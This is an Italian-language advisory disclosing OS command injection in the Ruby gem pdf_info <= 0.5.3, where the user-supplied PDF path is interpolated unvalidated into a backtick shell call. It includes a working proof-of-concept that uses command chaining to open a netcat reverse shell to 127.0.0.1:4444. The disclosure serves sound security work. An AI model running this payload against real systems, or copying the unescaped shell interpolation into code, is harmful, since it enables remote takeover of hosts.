
pdf_info <= 0.5.3 Iniezione di Comandi del Sistema Operativo
La gemma Ruby pdf_info <= 0.5.3 è vulnerabile a OS Command Injection quando si esegue un metodo su un oggetto PDF::Info.
Un attaccante utilizzando un payload appositamente creato può eseguire comandi del sistema operativo utilizzando il concatenamento di comandi.
Quando si crea un nuovo oggetto PDF::Info viene chiamato il metodo initialize
def initialize(pdf_path)
@pdf_path = pdf_path
end
Durante l'inizializzazione dell'oggetto non viene eseguita alcuna validazione e viene utilizzato il percorso fornito dall'utente.
Possiamo creare un oggetto PDF::Info e restituire i metadati di un PDF con quanto segue.
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Quando chiamiamo il metodo metadata sull'oggetto PDF::Info, viene effettuata una chiamata al metodo process_output con l'argomento passato che è il metodo command.
Il metodo command utilizza la variabile di classe @pdf_info per eseguire il comando pdfinfo sul sistema utilizzando il seguente frammento di codice per restituire l'output del comando.
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Come per il metodo initialize, non viene eseguita alcuna validazione sulla variabile @pdf_path. Questo ci consente di utilizzare il concatenamento di comandi con ; per eseguire un comando arbitrario.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
Il frammento di codice sopra riportato eseguirà una reverse shell verso 127.0.0.1 sulla porta 4444
